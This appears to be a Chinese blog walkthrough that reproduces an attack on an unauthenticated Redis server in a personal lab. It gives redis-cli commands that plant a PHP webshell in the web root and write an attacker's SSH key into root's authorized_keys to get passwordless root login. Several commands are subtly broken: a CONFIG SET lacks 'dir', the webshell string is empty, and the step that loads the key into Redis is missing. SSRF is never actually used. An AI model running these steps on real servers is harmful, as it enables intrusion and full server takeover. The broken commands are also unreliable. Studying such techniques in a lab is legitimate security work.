SSRF+redis未授权漏洞复现

1.SSRF漏洞简介

SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种由攻击者构造攻击链传给服务器,服务器执行并发起请求造成安全问题的漏洞,一般用来在外网探测或攻击内网服务。当网站需要调用指定URL地址的资源,但是没有对这个URL做好过滤,就会导致可以访问任意地址。

2 Redis未授权漏洞

redis默认绑定0.0.0.0:6379端口,默认没有密码。如果咱们的运维大兄弟上线服务时不限制IP访问和配置密码,那么6379端口就会暴露在公网任人宰割。

如果我们在渗透测试时碰到ssrf+redis未授权就可以考虑以下几种方式:

3.通过redis上传webshell

1.因为配置有误的redis所有主机都可以登上,所以我们先登上再说

redis-cli -h 192.168.179.128

2. 登上之后,需要得到靶机网站的物理路径(方法:1.报错界面查找信息 2.dirsearch查找phpinfo信息等)。当然,我用的自己的靶机因此掐指一算就得出该位置

 CONFIG SET /usr/share/nginx/html

SSRF+redis未授权漏洞复现_第1张图片

3.随后给咱们shell起个名,并编写恶意代码

CONFIG SET dbfilename redis.php   //起名

set webshell ""    //编写一句话木马

4.save保存

5.这时我们用蚁剑进行连接,测试下中用不

SSRF+redis未授权漏洞复现_第2张图片

秒!太妙了!好了打住,那咱们在瞅瞅第二种方法

4.公私钥匙上传进行免密登录

1.首先咱们需要现在靶机建立一个文件夹(默认存放公私钥的地方)

mkdir /root/.ssh

2. 随后咱们在攻击机生成密钥对

ssh-keygen -t rsa

 

 id_rsa为私钥,id_rsa.pub为公钥

3.随后将公钥文件写入文本文件中

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt

4.连接靶机redis

redis-cli -h 靶机IP

config set dir /root/.ssh #设置redis备份的目录为/root/.ssh

 

 5.一般情况下系统会认定authorized_keys为公钥文件名,因此咱们给他起个这样的名字

config set dbfilename authorized_keys # 设置公钥文件名

6.save保存

SSRF+redis未授权漏洞复现_第3张图片

ok,以上所有搞定之后,咱们的高光时刻即将到来!

通过以下命令测试能否免密登录

ssh -i id_rsa [email protected]

结果:

SSRF+redis未授权漏洞复现_第4张图片

妙不可言~~~

你可能感兴趣的:(安全,web安全,redis)